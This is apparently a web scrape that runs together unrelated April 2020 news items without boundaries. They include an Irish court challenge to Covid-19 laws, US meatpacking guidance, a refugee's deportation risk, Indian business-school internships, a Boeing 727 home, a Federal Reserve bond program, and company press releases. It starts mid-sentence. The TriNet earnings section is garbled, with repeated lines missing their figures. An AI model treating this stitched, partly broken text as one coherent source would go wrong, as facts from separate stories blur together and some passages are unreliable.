Emergency Measures in the Public Interest Act Covid-19 Act and the 1947 Health Act (Affected Areas) Order. Their proceedings are also aimed at striking down temporary restriction regulations brought in under the 1947 Health Act. The High Court had previously directed the application be heard in the presence of the respondents. Patrick McCann SC, said the State is opposing the application for leave, and that the claims are not arguable. Counsel said the action has been given "due priority" particularly by the Department of Health in what are challenging times caused by the Covid-19 pandemic. Counsel said the State hopes to furnish the applicants with its sworn statement outlining why leave should not be granted, by this Friday, or by Monday at the latest. Supporters accompany John Waters and Gemma O'Doherty outside the High Court last week Counsel said the Attorney General also wanted to bring to the court's attention comments made by the applicants in the Four Courts when the matter was before the court last week. Francis Kieran Bl for the Dail, the Seanad and the Ceann Comhairle, which have been added as notice parties to the actions said his clients were also opposed to leave being granted. While the case had been fixed for next Tuesday the judge suggested that the case be put back for a few days. This, he said would allow the applicants consider the notice parties and States replies to claims, and would allow the applicants make any addition written submissions on the case if they so choose. In reply, Mr Waters said that it was their preference that the case can go ahead as planned next Tuesday. Mr Waters said the case was "one of the most important in our history" and repeated concerns he had previously expressed about any attempt to delay the hearing of the action. However, if there was any delay by the other parties then the case could go back to Wednesday of next week, he added. During the hearing, Ms O'Doherty said she believed her and Mr Waters' claims are arguable, and the court should have already granted the applicants leave. Inviting the court to grant permission, she said that the people of Ireland are under "mass house arrest," and added that the gardai were "using guns" to frighten people. Mr Justice Meenan declined to grant leave, stating that it was up to the applicants to prove to the court that the threshold for granting permission has been crossed. The legislation challenged includes the 2020 Health Preservation and Protection and Other Emergency Measures in the Public Interest Act, the 2020 Emergency Measures in the Public Interest Act Covid-19 Act, The 1947 Health Act (Affected Areas) Order. Their proceedings are also aimed at striking down temporary restriction regulations brought in due to Covid-19 under the 1947 Health Act. During the hearings the applicants repeated claims made at previous hearings about public access to the courts, and that only a limited number of people were allowed into court due to Covid-19 restrictions. This, it was claimed, was in breach of the constitutional requirement that justice be administered in public. Mr Waters added that the fact the media were present in the courtroom was not sufficient. He said the media was "essentially corrupt" and that reporting about previous hearings lacked coverage of the real issues and were wrongly disparaging of himself and Ms O'Doherty. Mr Justice Meenan said he was satisfied that the matter was being held in public, and in accordance with Article 34 of the Constitution. While restrictions were in place he said that members of the media were present in court and could report on the proceedings. The judge, who said a DAR recording of the hearing would be made available to Ms O'Doherty and Mr Waters, added that if the applicants had any issues about the reporting they could take it up with the media. Ms O'Doherty told the court last week that what was happening regarding the lockdown was "outrageous". People should be allowed go about their business and normal life must be allowed resume, she said. The vast majority of people are unaffected by Covid-19 which was "no threat to life" and people should be allowed to go outside and "build up a herd immunity", she said. The views expressed by public comments are not those of this company or its affiliated companies. Please note by clicking on "Post" you acknowledge that you have read the TERMS OF USE and the comment you are posting is in compliance with such terms. Your comments may be used on air. Be polite. Inappropriate posts or posts containing offsite links, images, GIFs, inappropriate language, or memes may be removed by the moderator. Job listings and similar posts are likely automated SPAM messages from Facebook and are not placed by WFMZ-TV. As of Thursday, 13 meatpacking and food processing plants had closed at some point in the past two months, resulting in a 25 percent reduction in the nations pork slaughter capacity and a 10 percent reduction in beef slaughter capacity, according to the food workers union. In addition to the action, which was taken under the Defense Production Act, a Korean War-era law, the Labor Department and OSHA issued guidance that would provide additional liability protections for companies seeking to operate amid the risk of outbreaks. In its statement, the agencies said the United States would weigh in on the side of companies who were facing litigation for reported workplace exposures to the coronavirus, as long as the companies were following the standards that the C.D.C. and OSHA had issued for meat processing facilities. As states begin reopening, businesses have begun pushing the Trump administration and Congress to shield American companies from a wide range of potential lawsuits related to restarting the economy. Companies want assurances that they will not be held legally liable if a worker or customer contracts the virus at their warehouse, coffee shop or grocery store. That issue is expected to come to a head during the next round of congressional negotiations, with Republican lawmakers suggesting that any further aid to states would be conditioned on indemnifying businesses against lawsuits. The Labor Department and OSHA also indicated that the federal government would assert authority over states, which have ordered many businesses to close. No part of the joint meat processing guidance should be construed to indicate that state and local authorities may direct a meat and poultry processing facility to close, to remain closed or to operate in accordance with procedures other than those provided for in this guidance, the statement said. [April 28, 2020] Sappi Casting and Release Announces New Line of Textured Casting Papers for Solvent-Free Systems: Ultracast Viva Company continues to set proactive sustainability standards with latest launch BOSTON, April 28, 2020 /PRNewswire/ -- Sappi, a leading producer and supplier of diversified paper, packaging products and dissolving pulp, today launched Ultracast Viva, a textured release paper line made specifically for high-fidelity PVC, PU, semi-PU and solvent-free casting systems. This product embodies Sappi's forward-looking sustainability practices to align with global goals for environmentally-friendly manufacturing. Regulations are going into effect that limit or eliminate solvent-based casting systems in China and the European Union to reduce chemical waste and pollution. As a result, many of the world's leading textile and fashion brands have formed the Zero Discharge of Hazardous Chemicals (ZDHC) Program to implement changes to their value chains that align with the ZDHC's Manufacturing Restricted Substance List (MRSL). As these changes continue to be adopted, Sappi has proactively created the industry's first premium high-fidelity casting paper compatible with solvent-free systems. Ultracast Viva also offers performance improvements, particularly with regards to reduced curl, increased reusability and easier handling with expanded temperature limits for PVC, semi-PU and 100% PU including aqueous PU chemistry. One early adopter indicated, "[Ultracast Viva provides] easy release, consistent quality and high efficiency for our PU production," said by production director of Anli Co.,Ltd. "Sapi is wholeheartedly committed to sustainability, so the launch of Ultracast Viva is a natural next step as we pursue ways to improve environmentally sustainable manufacturing through innovation," said Mark Hittie, Director of Release Strategy, Sappi Casting and Release. "We continue to evolve our business to meet global demands and this product line is the perfect example. We're proud that Sappi sets the standard for high-fidelity textures with a reduced environmental impact." Sappi's forward-looking products and textures continue to leverage state-of-the-art technology from its Westbrook Mill in Maine. Sappi has been at the forefront of technological innovation and evolution for the release paper industry with nearly 80 years of experience creating textures. Most recently, the company brought to market the first microtextures in 2016 and now introduces Ultracast Viva to its permanent line of products. Customers can choose from over 150 textures, which are available for all coated fabric manufacturers and brand owners to browse on the Sappi Release Textures App. To request a launch kit and sample of Ultracast Viva paper, please contact your Sappi sales representative. Launch kits will be available within the next few weeks. To learn more about Sappi's casting and release papers, including additional textures for the decorative laminate market, please visit: https://www.sappi.com/sappi-casting-release-papers. About Sappi North America, Inc. Sappi North America, Inc., headquartered in Boston, is a market leader in converting wood fiber into superior products that customers demand worldwide. The success of our four diversified businesses high-quality Coated Printing Papers, Dissolving Pulp, Packaging and Specialty Papers and Casting and Release Papers is driven by strong customer relationships, best-in-class people and advantaged assets, products and services. Our high-quality Graphic Papers, including McCoy, Opus, Somerset, and Flo, are the key platform for premium magazines, catalogs, books, direct mail and high-end print advertising. We are a leading manufacturer of Dissolving Pulp with our Verve brand, a sustainable fiber, which is used in a wide range of products, including textile fibers and household goods. We deliver sustainable Packaging and Specialty Papers for luxury packaging and folding carton applications with our single-ply packaging brands, Spectro and Proto, and for the food and label industries with our specialty papers, LusterPrint and LusterCote. We are also one of the world's leading suppliers of Casting and Release Papers with our Ultracast, PolyEx and Classics lines for the automotive, fashion and engineered films industries. Customers rely on Sappi for high technical, operational and market expertise; products and services delivered with consistently high quality and reliability; and, state-of-the-art and cost-competitive assets and innovative spirit. Sappi North America is a subsidiary of Sappi Limited (JSE), a global company headquartered in Johannesburg, South Africa, with more than 12,000 employees and manufacturing operations on three continents in seven countries and customers in over 150 countries. Photo - https://mma.prnewswire.com/media/1159359/Sappi_Ultracast_Viva_Launch.jpg [ Back To TMCnet.com's Homepage ] Saray Im didnt know where to go on his first day of elementary school. He remembered his dad dropping him off and that he struggled to navigate campus grounds on his own. Nobody told him where to go, and he didnt speak any English at the time. Im, who is now 45, had recently arrived in the United States with his father, stepmother and sister after spending a few years at a refugee camp in Thailand. They had fled the Khmer Rouge regime in Cambodia, under which more than 2 million people died. Among those who perished was Ims brother, he recalled his father telling him. Im was 9 years old when he came to the United States in 1984. His family settled in Stockton, a city in Californias Central Valley, where drug dealers and shootings were part of everyday life, he said. Saray Im's fifth grade school photo. (Courtesy Im family) He remembered being bullied for his ethnicity, hardly seeing his father because he was frequently working, and his stepmother being an absent figure because she had a gambling problem. Without the adults in his immediate family present in his life, Im turned to neighborhood kids who banded together to form a gang. They became a family that went fishing, shot birds at the park and cut class together, he said. His affiliation with gangs carried on throughout high school. Although he tried to leave that life behind later on, it caught up with him when he became involved in an incident that landed him in prison and has now put him at risk of deportation, he said. Ims experience of building a new life in an impoverished neighborhood after fleeing a war-torn country and finding support in a gang mirrors that of many Southeast Asian refugees, said Kevin Lam, organizing director at the nonprofit Asian American Resource Workshop. As the U.S. commemorates the 45th anniversary of the refugee group's arrival, experts point out that many are now vulnerable to deportation and detention. The group began migrating en masse to the United States following the end of Southeast Asian conflicts in the 1970s: the Vietnam War and Secret War in Laos in 1975, and against the Khmer Rouge regime in Cambodia in 1979. Story continues The United States at the time did not have a standardized system to resettle refugees. It was conducted ad hoc, with voluntary agencies assisting the State Department. That changed with the passage of the Refugee Act of 1980, which established a standardized resettlement system. It specified sponsors, where refugees would be resettled and how many months of federal government support they would receive, Sam Vong, curator of Asian Pacific American History at the Smithsonian Institute and former Asian American studies professor at the University of Texas, Austin, said. Still, some say it fell short of serving Southeast Asian refugees. News Eric Tang, an African and African Diaspora Studies professor at the University of Texas at Austin and author of Unsettled: Cambodian Refugees in the New York City Hyperghetto, said that the government didn't directly resettle refugees, but instead subcontracted nonprofit agencies, which were provided money to do so. If youre working at a refugee agency and your job is to house these people -- house them together and house them quickly with very little money -- youre going to look for apartment buildings that have a lot of vacancy that will rent to you for cheap and will keep people together, he told NBC Asian America. As a result, refugees were by and large resettled in derelict apartments, Tang said. But it wasnt just housing that colored refugees adjustment to life in the U.S. They also struggled with finding jobs. News Tang noted that Southeast Asian refugees came from rural backgrounds and did not have skills that matched the U.S. labor market. Many lived in working poverty from the 1980s to the early 2000s, and Cambodian refugees had some of the highest welfare participation rates, he said. That experience is one Im and his family had. He said they received welfare checks of about $200 to $300 per month. And for their first two years in America, they lived with other people. He also remembered feeling unsafe in his neighborhood and being reluctant about playing at the park. He worried that someone might come by and start shooting. It was just that bad back then, he said. After living in Stockton for 12 years, Im decided to move to Massachusetts in 1996, where his sister lived, to escape the violence that plagued the city. But the life he wanted to shed followed him. Shortly after he moved, Im was involved in a crime where gunshots were exchanged. He was arrested, served three years in prison and spent two years in immigration detention. The incident has also put Im at risk of deportation, a threat that looms over his wife and their five children currently living outside of Boston. Saray Im and his family at his daughter Jassy's high school graduation in front of Lynn City Hall in 2016. (Courtesy IM family) The crime took place in 1996, the same year the U.S. government passed an immigration law that expanded the definition of what types of crimes could result in detention and deportation. It also allowed for that broader definition to be applied retroactively, resulting in more than 16,000 Southeast Asian Americans receiving orders of removal 80 percent of which were based on old criminal records. According to civil rights nonprofit Southeast Asia Resource Action Center, the insufficient support Southeast Asian American refugees received when they were initially resettled, along with the increase in immigration detention and deportation in the United States, has made the community vulnerable to the prison-to-deportation pipeline. Tang said that the Refugee Act of 1980 was an important law and noted that about 1 million Southeast Asian refugees were resettled in the United States, the largest group resettled in U.S. history. At the same time, it fell short of addressing the group's realities and experiences from the wars and in refugee camps, he said. If we were to take a different view of refugee resettlement and if instead we were to say, Hey we engaged a war in Vietnam, we bombed Cambodia into the Stone Ages which paved the way for the rise of the Khmer Rouge' -- if we were to recognize our role, then maybe refugee resettlement wouldnt be about humanitarian largess but about reparations, about redress. And then maybe we wouldnt have put all these conditions into the Refugee Act, which insisted on a wildly unrealistic expectation that they would somehow find livable wage jobs overnight and become economically independent, he said. Maybe we wouldnt have just left them out there to fend for themselves. Follow NBC Asian America on Facebook, Twitter and Instagram. It's not often that students from India's top B-schools give a shout out to their LinkedIn community for summer internship offers - they are creme de la creme after all and companies are ready to offer a platform. But the situation has drastically changed this year. Riddhi Patel, first year student at IIM-Indore posted on LinkedIn how an ecommerce firm revoked her internship offer for the role of Business Development. She wrote she was looking for an alternative. Her post got phenomenal response with over 1,100 likes and 234 comments and she got an internship. But, that is not the case with many others. Patel tells Business Today how several firms have revoked internship offers, making students desperate since many IIMs have credits for the projects done at work. She says, "I have many friends across IIMs who have got internships but are not getting any stipend." Usually, the average range for the internship can be in the range Rs 70,000 to Rs 1.5 lakhs. Shashikant Nayak, Placement Coordinator at IIM Jammu, says that their batch had 97 students, from those 60 have got summer internships and the rest 30-35 are still figuring out different options. "Some firms are saying they will start internship around 10-15 May. Those students who haven't got an offer are trying on their own. The Placement committee is also helping them," says Nayak. "Two companies had offered Rs 50,000 per month for sales role but they later made it unpaid internship and the students are now doing market research projects," he says. Janat Shah, Director of IIM Udaipur, says that about 12 companies canceled their internship offers from a total of 87 firms that came to recruit first-year students. Among them 28 students had got offers from 3 companies in Dubai; all of those got canceled. "It is ultimately the company's decision which we respect. When they told us, our team got these students other internship offers," says Shah. Out of their 285 students, 133 have started internships virtually, especially those job roles that could be done remotely, the rest will start in May. He says that there was a concern that some students might not get internships. "We wanted to make sure the quality of experience of a student does not suffer. And, if there was a degradation of experience we can make up for it somewhere else," says Shah. They created an alumni network of mentors to guide the students during the internship process and help them address the red flags, says Shah. As of now, five students are still looking for internships. Debashis Chatterjee, Director, IIM Kozhikode says significant readjustment were done in internships this year. "There were some cancellations, then some internships were moved online and new job roles were given to students. Most of these roles are ones that can be done remotely," he says. The duration of the internship was also reduced to six weeks. From the 131 companies, there were 6-7 companies that rescinded the internship offers. The institute has helped the students find alternative roles. Even IIM Ahmedabad wasn't spared where four per cent of the internship offers got cancelled. Over 120 companies had approached initially. Other recruiters and alumni chipped in and accommodated students whose internships were cancelled, says Amit Karna, Associate Professor of Strategy and Chairperson Placements at IIM Ahmedabad (IIMA). He says, almost all the internships are currently happening virtually and a few have got deferred to May. Due to these changes IIMA had to make certain changes to its academic programme requirements. "Looking at the constraints faced by firms, we are allowing virtual internships (working from remote location) as a valid mode. We have also allowed, on a case to case basis, if firms have asked for reduced duration of up to 6 weeks. Plus, instead of starting the second year for these students on 5 June, we are now starting in first week of July," says Karna. The rationale was the extension will give the leeway for more students to be accommodated due to deferred date of internships, and still complete 6-8 weeks of internship. IIM Calcutta too allowed a mix of virtual and on-field modes of internship to allow digital onboarding of the students. IIM Calcutta's Director Anju Seth said, "We extended the internship period till 11 July (instead of 6 June as originally planned) to allow five additional weeks for the firms and interns. We are considering all scenarios in this uncertain environment to effectively assist all students to complete their internships." Abhishek Goel, Placement Committee Chairperson added, "A few recruiters have requested for more time as they wait for the lockdown to be relaxed. While all recruiters honoured their promised internships, five recruiters had rescinded their internship offers due to the changed business scenario affecting 25 out of 480 students. The affected students have got new internships." Usually the internship for IIMs is for eight weeks from 1 April to 31 May. Also Read: India's unemployment rate falls to 21.1%, lowest during coronavirus lockdown: CMIE Also Read: Coronavirus: First COVID-19 case reported from Supreme Court Advertisement A hot tub in the cockpit, a fully equipped kitchen and three bedrooms - welcome on board the incredible Boeing 727 that was refurbished into a luxury home. These extraordinary pictures show the unique residence owned by Jo Ann Ussery, named 'Little Trump' after Donald Trump's $16million 727 corporate jet. It was located in Mississippi and was positioned partially over a lake to give the impression it was taking off. But the plane wasn't completely transformed, it still had an original working aircraft toilet and the overhead bins were left in place for storage. Jo Ann Ussery relaxes in her hot tub inside a Boeing 727 that she converted into a plush home Jo Ann named the home 'Little Trump' after Donald Trump's then $16million corporate jet - also a 727. Pictured is one of the three bedrooms Jo Ann bought the retired plane and transformed it into her home after her previous mobile home was destroyed in an ice storm The plane, serial number 19510, had been the first Boeing 727 in Continental Airlines' fleet and was in service for the carrier from May 1968 until September 1993 Jo Ann once told the Today programme: 'It is so comfortable, it's so neat, it's well insulated and convenient, there is nothing bad about it.' The plane, serial number 19510, had been the first Boeing 727 in Continental Airlines' fleet and was in service for the carrier from May 1968 until September 1993. After being stored in Texas it was moved to Greenwood, Mississippi, in 1994, where it was to be 'parted out'. At the same time Benoit, Mississippi, resident Jo Ann, then a 52-year-old hairdresser, was looking for a new mobile home after her previous one was destroyed in an ice storm. Jo Ann created a fully equipped kitchen inside the plane. She said: 'It is so comfortable, it's so neat, it's well insulated and convenient, there is nothing bad about it' Jo Ann paid $2,000 for the plane and another $4,000 to a removal company to have it moved to her spot next to the lake in Benoit. The refurbishment cost a further $24,000 (19,235) Original features that were retained included the cockpit control wheels, pictured next to the bath Jo Ann's grandchildren Steven, Katelyn and Morgan take a bath in the former cockpit of the plane in 1996 TRUMP FORCE ONE - THE BOEING 727 Donald Trump had his own Boeing 727. It was originally delivered to American Airlines before being converted into a private jet, which Trump bought in 1997. When used by Trump, it was configured with seating for 24 people and included a master bedroom, a dining room, a galley, conference rooms, multiple lavatories and a bidet. Trump put it up for sale in 2009 and it was sold in 2011 before being scrapped at MontrealMirabel International Airport in Canada in 2017. Advertisement Her brother-in-law, an air traffic controller, knew about the 127ft-scrapped plane and told her she should look into getting a retired airliner as a home. According to Airport Journals, Jo Ann paid $2,000 for the plane and another $4,000 to a removal company to have it moved to her spot next to a lake in Benoit. She then remodelled most of the home herself, which included installing floors, connecting electricity and plumbing and even setting up a phone line. The seats were removed to create an 11ft-wide space, with 76 side windows and 10 cockpit windows flooding the fuselage with light. She also managed to salvage interior parts from other retired 727s to add to her new plane. Jo Ann spent around $24,000 (19,235) on the renovations, creating a three-bedroom home with a living room and dining room, a laundry room and a master bathroom in the cockpit. Original features that were kept in the converted airliner included the cockpit control wheels, to maintain an aircraft look, and the rear air stairs, which could be opened using a garage door opener. Jo Ann moved into the converted home in April 1995 and stayed there until May 1999. Eventually, a truck was hired to transport the plane to a different location. The plan was for the aircraft to be opened to the public, but it fell off the truck and sustained 'significant damage'. And there, the trail regarding its fate goes cold... Jo Ann moved into the converted home in April 1995 and stayed there until May 1999. The plane was significantly damaged in 1999 when it fell off a transporter truck A California sheriff's deputy is quarantining after a man who could have COVID-19 coughed on him with malicious intent, the sheriff's office reported. According to the Monterey County Sheriff's Office, a deputy stopped a man with a no bail warrant and on post-release community supervision. The man was found to have a loaded gun concealed on him and drugs in his hotel room, investigators reported. [April 28, 2020] ACAMP Working with University of Alberta has Developed a Washable Cloth Based Filter and Plastic Respirator With Over 95% Filtration Efficiency Imagine protecting every Albertan with a high-quality respirator. With guidance from researchers at the University of Alberta, ACAMP, an Alberta non-profit organization helping companies develop high-tech products has designed and built an effective, reusable respirator to help prevent the spread of COVID-19. The respirator's filters can be washed and are reusable. Their effectiveness was tested against N95-rated respirators by a team at Engineering at Alberta led by Distinguished Professor Warren Finlay, an internationally respected expert in the science of aerosol mechanics. Their findings rate the ACAMP A95 filters at the same level of filtration efficiency as commercially available N95 filters. ACAMP CEO Ken Brizel had the idea to produce enough masks for every person in Alberta four weeks ago, after being shocked to see many unprotected people shopping for groceries. Brizel has been working with local businesses and the University of Alberta to design and manufacture the respirators. The body of the resprators is made of polyurethane or polypropylene, comes in an adult size only at this time, and provides an effective seal around the nose and mouth. The respirators filter two ways, protecting the wearer from inhaling the virus, and preventing wearers from exhaling it. The respirators are available online now at www.actionbyacamp.ca and go into production this week. This work was supported by Mitacs through the Mitacs Accelerate Program, under the special COVID-19 call for proposals. ACAMP CEO Ken Brizel and Engineering at Alberta researcher Warren Finlay are available for interviews. About ACAMP Founded in Alberta, Canada in 2007, ACAMP is a unique industry-led advanced technology product development centre that entrepreneurs count on to move their innovation from proof-of-concept to manufactured product by providing access to multidisciplinary engineers, technology experts, unique specialized equipment, and industry acumen. ACAMP focuses on electronics hardware, firmware, software (ML/AI), sensors, and embedded systems. ACAMP is the only advanced technology product development group in Canada that provides a full range of support at each stage of the product development process. Offices in Edmonton and Calgary, ACAMP offers support to companies worldwide. For more information, please visit acamp.ca. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005195/en/ [ Back To TMCnet.com's Homepage ] A Federal Reserve program expected to begin within weeks will provide hundreds of billions in emergency aid to large American corporations without requiring them to save jobs or limit payments to executives and shareholders. Under the program, the central bank will buy up to $500 billion in bonds issued by large companies. The companies will use the influx of cash as a financial lifeline but are required to pay it back with interest. Unlike other portions of the relief for American business, however, this aid will be exempt from rules passed by Congress requiring recipients to limit dividends, executive compensation and stock buybacks and does not direct the companies to maintain certain employment levels. Critics say the program could allow large companies that take the federal help to reward shareholders and executives without saving any jobs. The program was set up jointly by the Federal Reserve and the Department of Treasury. "I am struck that the administration is relying on the goodwill of the companies receiving this assistance," said Eswar Prasad, a former official at the International Monetary Fund and economist at Cornell University. "A few months down the road, after the government purchases its debt, the company can turn around and issue a bunch of dividends to shareholders or fire its workers, and there's no clear path to get it back." Treasury Secretary Steven Mnuchin defended the corporate aid program, asserting that the lack of restrictions on recipients had been discussed and agreed to by Congress. "This was highly discussed on a bipartisan basis. This was thought through carefully," Mnuchin said in an interview with The Washington Post. "What we agreed upon was direct loans would carry the restrictions, and the capital markets transactions would not carry the restrictions." Democrats asked for restrictions on how companies can use the money from the central bank's bond purchases, but they were rebuffed by the administration during negotiations over the Cares Act, a spokesman for Senate Minority Leader Chuck Schumer, D-N.Y., said. The spokesman said Democrats won meaningful concessions from the administration on reporting transparency in the final agreement. (Transparency requirements do not apply to the small-business loans, the biggest business aid program enacted.) Mnuchin also said the program had bolstered investor confidence in U.S. capital markets, which in turn helped firms raise capital they used to avoid layoffs. "The mere announcement of these facilities, quite frankly, led to a reopening of a lot of these capital markets," Mnuchin said in an interview. "Even before these facilities are up and running, they've had their desired impact of having stability in the markets. Stability in the markets allows companies to function, and raise money and allows them to keep and retain workers and get back to work." The corporate debt purchases by the Fed contrast with other portions of the federal aid for U.S. businesses that come with requirements to protect jobs or limit spending. The Paycheck Protection Program, which offers $659 billion for small businesses, requires companies to certify that funds will be used to "retain workers and maintain payroll or make mortgage payments, lease payments, and utility payments." The "Main Street" program offering up to $600 billion to "mid-size" businesses - those with 500 to 10,000 employees - forbids companies from issuing dividends and places limits on executive compensation, according to a term sheet issued by the Fed. Those restrictions are in effect until 12 months after the loan is no longer outstanding. The companies also must "make reasonable efforts" to maintain payroll and retain employees. Likewise, the $46 billion program for airlines, air cargo companies and national security, forbids dividends and places limits on executive pay. Its requirement on retaining employment is more rigorous. Companies are required retain at least 90% of their employees if they are to avoid paying back the money. The first version of the Fed program to buy bonds from large companies, known as the Primary Market Corporate Credit Facility, likely would have compelled recipients of the aid to limit executive pay and dividends. That version of the program, described in a March 23 term sheet issued by the Fed, offered direct loans and bond purchases to companies. Under the Cares Act, the federal programs offering direct loans must set restrictions on company dividends and CEO pay; those that only buy corporate bonds do not. Both are forms of lending, though bonds are more easily resold. But on April 9, the Fed altered the design of the program to exclude direct corporate lending. The Fed program will still essentially lend money to large companies - by buying their bonds - but the Fed will not be compelled by the Cares Act to ensure that companies abide by the divided and CEO pay rules. "The change to the term sheet between March and April is the smoking gun on the Fed's own culpability here," said Gregg Gelzinis, senior policy analyst at the Center for American Progress, a left-leaning think-tank. "The basic principle of the Cares Act was that if we're going to provide taxpayer funding to private industry, we need conditions to make sure it is in the public interest. This violates that principle." Bharat Ramamurti, an aide to Sen. Elizabeth Warren, D-Mass., who was appointed to the board overseeing the bailout, said in a statement: "Big corporations have shown time and again that they will put their shareholders and executives ahead of their workers if given the choice. That's why I'm so concerned that the Treasury and the Fed have chosen to direct hundreds of billions of dollars to big companies with no strings attached." A spokesman for the Federal Reserve declined to comment. The Federal Reserve's board of governors unanimously approved the new bond purchasing program on March 22. The Federal Reserve has said it will only purchase the bonds of firms above a certain grade. The issuer of the bond also has to meet the conflicts-of-interest requirements in the Cares Act, which preclude federal lawmakers or their relatives from benefiting financially from the government measures. In the interview, Mnuchin also said many companies are ceasing stock buybacks and are likely to use the additional capital to retain workers. "A lot of companies have stopped their share buybacks and slashed their dividends because they need that capital to invest in their business," Mnuchin said. "Even though these restrictions don't necessarily apply, that's already happening." Some analysts disputed that assertion. "Some companies have ceased buybacks and dividends and some haven't," Gelzinis said. "We shouldn't have to keep our fingers crossed." It is unknown what the terms will be for the Fed lending under the program, or how favorable they will be for recipients. The term sheet says only that they will depend on the company and be "informed" by market conditions. Companies selling their bonds to the central bank are expected to be primarily investment-grade, publicly traded firms and therefore subject to more disclosure and oversight than those that are privately held. Patricia Mosser, a former senior official at the Federal Reserve Bank of New York, pointed out that these corporations are scrutinized by the U.S. Securities and Exchange Commission, private investors and the credit rating agencies. "It's true that there's nothing stopping these companies from continuing to pay stock dividends," said Mosser, now a professor at Columbia University. "You may not like that, and I have sympathy for that position. But it's easier to unmask bad behavior in public companies. Large companies certainly don't do everything right, but they have to admit publicly how they pay top executives, where their profits go, and how they use them. That history of disclosure and oversight means the risk of not being repaid is lower." The weaker restrictions on recipients of the Fed's lending program may be partially justified, said Nathan Tankus, research director at the Modern Money Network, which studies monetary policy. The corporate bonds that the Fed is purchasing from companies can be resold, whereas direct loans establish an agreement between the company and the government that makes the asset less valuable to the central bank, Tankus said. "Purchases of debt are a slightly more arms-length transaction than the loan, which is forming a bilateral relationship," Tankus said. "But this is really just the fig leaf the Fed can use to justify lifting the restrictions." DUBLIN, Calif., April 28, 2020 /PRNewswire/ -- TriNet Group, Inc. (NYSE: TNET), a leading provider of comprehensive human resources solutions for small to midsize businesses, today announced financial results for the first quarter ended March 31, 2020. The first quarter highlights below include non-GAAP financial measures which are reconciled later in this release. First quarter highlights include: Total revenues increased 12% to $1.0 billion and Net Service Revenues increased 13% to $283 million , as compared to the same period last year. and Net Service Revenues increased 13% to , as compared to the same period last year. Net income was $91 million , or $1.31 per diluted share, compared to net income of $63 million , or $0.89 per diluted share, in the same period last year. , or per diluted share, compared to net income of , or per diluted share, in the same period last year. Adjusted Net Income was $97 million , or $1.41 per diluted share, compared to Adjusted Net Income of $69 million , or $0.98 per diluted share, in the same period last year. , or per diluted share, compared to Adjusted Net Income of , or per diluted share, in the same period last year. Adjusted EBITDA was $145 million , representing an Adjusted EBITDA Margin of 51%. , representing an Adjusted EBITDA Margin of 51%. Average Worksite Employees (WSEs) increased 8% as compared to the same period last year, to approximately 336,000. Total WSEs increased 6% compared to the same period last year, to approximately 337,000. Financing activities: In March 2020 , TriNet drew down the remaining $234 million on its credit facility strengthening its short-term cash reserves. "Over the last two months, we have witnessed the devastating impact of COVID-19," said Burton M. Goldfield, TriNet's President and CEO. "Our thoughts are with all those of hurt by this pandemic. As a leader in providing SMBs with comprehensive HR services, we recognize the enormity of what they are facing. We are leveraging our resources to help businesses navigate this difficult environment. Simultaneously, we have taken steps to secure our business, including ensuring the safety of our employees, maintaining the strength of our balance sheet, and continuing to strategically invest in our platform. Mr. Goldfield continued, "Our strong first quarter financial results highlighted the strength of our vertical market platform and disciplined approach to client selection and cost management. While the environment has changed, our team is united in working through this crisis and positioning our company for long-term success." TriNet's total revenues for the first quarter of 2020 increased 12% from the first quarter of 2019 to $1.0 billion, while Net Service Revenues (Total revenues less insurance costs) for the first quarter of 2020 increased 13% from the first quarter 2019, to $283 million. Net Insurance Service Revenues consisted of insurance service revenues of $892 million, less insurance costs of $765 million. Professional service revenues for the first quarter of 2020 increased 15%, and Net Insurance Service Revenues for the first quarter of 2020 increased 10%, each as compared to the first quarter of 2019. At March 31, 2020, TriNet had cash and cash equivalents of $521 million and total debt of $620 million. Quarterly Report on Form 10-Q We anticipate filing our Quarterly Report on Form 10-Q ("Form 10-Q") for the three months ended March 31, 2020 with the SEC and making it available at http://www.trinet.com today, April 28, 2020. This press release should be read in conjunction with the Form 10-Q and the related Notes to Consolidated Financial Statements and Management's Discussion and Analysis of Financial Condition and Results of Operations contained in the Form 10-Q. Earnings Conference Call and Audio Webcast TriNet will host a conference call at 2:00 p.m. PT (5:00 p.m. ET) today to discuss its quarterly and annual results for 2020 and provide quarterly and annual financial guidance for 2020. TriNet encourages participants to pre-register for the conference call. Callers who pre-register will be given a unique PIN to gain immediate access to the call and bypass the live operator. To pre-register, go to: http://dpregister.com/10141687 . For those who would like to join the call but have not pre-registered, they can do so by dialing +1 (412) 317-5426 and requesting the "TriNet Conference Call." The live webcast of the conference call can be accessed on the Investor Relations section of TriNet's website at http://investor.trinet.com . A replay of the webcast will be available on this site for approximately one year. A telephonic replay will be available for one week following the conference call at +1 (412) 317-0088 conference ID: 10141687. About TriNet TriNet (NYSE: TNET) provides small and medium size businesses (SMBs) with full-service HR solutions tailored by industry. To free SMBs from HR complexities, TriNet offers access to human capital expertise, benefits, risk mitigation and compliance, payroll and real-time technology. From Main Street to Wall Street, TriNet empowers SMBs to focus on what matters mostgrowing their business. TriNet, incredible starts here. For more information, visit TriNet.com or follow us on Twitter. Use of Non-GAAP Financial Measures Reconciliations of non-GAAP financial measures to TriNet's financial results as determined in accordance with GAAP are included at the end of this press release following the accompanying financial data. For a description of these non-GAAP financial measures, including the reasons management uses each measure, please see the section of the tables titled "Non-GAAP Financial Measures." Forward-Looking Statements This press release contains, and statements made during the above referenced conference call will contain, statements that are not historical in nature, are predictive in nature, or that depend upon or refer to future events or conditions or otherwise contain forward-looking statements within the meaning of Section 21 of the Securities Exchange Act of 1934, as amended, and the Private Securities Litigation Reform Act of 1995, including, among other things, TriNet's expectations and assumptions regarding: its ability to execute its strategic operational plan, including its vertical strategy and process and common platform improvement initiative, its ability to successfully leverage its scale, and its ability to deliver profitable growth. Forward-looking statements are often identified by the use of words such as, but not limited to, "ability," "anticipate," "believe," "can," "continue," "could," "estimate," "expect," "impact," "intend," "may," "plan," "project," "seek," "should," "strategy," "target," "value," "will," "would" and similar expressions or variations. These statements are not guarantees of future performance, but are based on management's expectations as of the date hereof and assumptions that are inherently subject to uncertainties, risks and changes in circumstances that are difficult to predict. Forward-looking statements involve known and unknown risks, uncertainties and other factors that may cause actual results, performance or achievements to be materially different from our current expectations and any past or future results, performance or achievements. Investors are cautioned not to place undue reliance upon any forward-looking statements. Important factors that could cause actual results to differ materially from those expressed or implied by these forward-looking statements include: the impact of the COVID-19 pandemic on our business and the business of our clients; our ability to mitigate the business risks we face as a co-employer; our ability to manage unexpected changes in workers' compensation and health insurance claims and costs by worksite employees; the effects of volatility in the financial and economic environment on the businesses that make up our client base; the impact of the concentration of our clients in certain geographies and 